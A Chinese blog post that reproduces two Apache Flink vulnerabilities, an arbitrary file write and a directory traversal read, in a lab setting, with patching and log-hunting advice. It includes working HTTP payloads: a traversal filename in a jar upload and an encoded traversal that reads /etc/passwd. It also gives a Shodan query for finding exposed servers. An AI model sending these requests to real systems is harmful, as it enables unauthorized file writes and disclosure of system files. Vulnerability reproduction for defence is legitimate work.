CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入和目录遍历漏洞复现

CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入和目录遍历漏洞复现

漏洞简述

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。

CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。

CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

漏洞影响版本

CVE-2020-17518 1.5.1 < Flink < 1.11.2

CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2

Shodan搜索语法

http.favicon.hash:180732787

漏洞exp

该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。

https://github.com/QmF0c3UK/CVE-2020-17518

https://github.com/B1anda0/CVE-2020-17519

漏洞环境搭建

使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。

漏洞复现

CVE-2020-17518

点击上面上传jar包,burp抓包修改路径。

POST /jars/upload HTTP/1.1
Host: vul.zgao.top:8081
Content-Length: 228
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt
Connection: close

------WebKitFormBoundaryphBB4uHGBVImrUXt
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Content-Type: application/octet-stream

success

------WebKitFormBoundaryphBB4uHGBVImrUXt--

文件上传成功。

CVE-2020-17519

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vul.zgao.top:8081
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Connection: close

溯源排查

日志位置:/opt/flink/log

排查关键词:JarUploadHandler

目录穿越任意文件读取,日志中没有记录。

修复方式

升级至1.11.3及更高版本。

Print Friendly, PDF & Email
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。